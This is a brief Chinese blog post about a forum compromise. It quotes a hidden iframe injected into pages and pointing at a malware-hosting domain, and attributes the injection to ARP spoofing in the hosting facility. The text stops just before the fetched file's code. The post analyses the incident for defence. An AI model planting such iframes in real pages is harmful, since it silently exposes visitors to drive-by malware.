Tag Archives: 木马

昨天晚上，midifan的站长报告说论坛有时候提示下载forumdisplay.php，同时页面乱码。打开网站刷了几次后发现确实有此情况，查看页面源代码发现前面有一段可疑代码 <iframe src=hxxp://hao88hao.com/cn10.htm width=20 height=0 frameborder=0></iframe> 判定机房有机器中了arp病毒，冒充网关在数据包植入iframe代码后将请求发到真正的网关 下载此htm文件，代码如下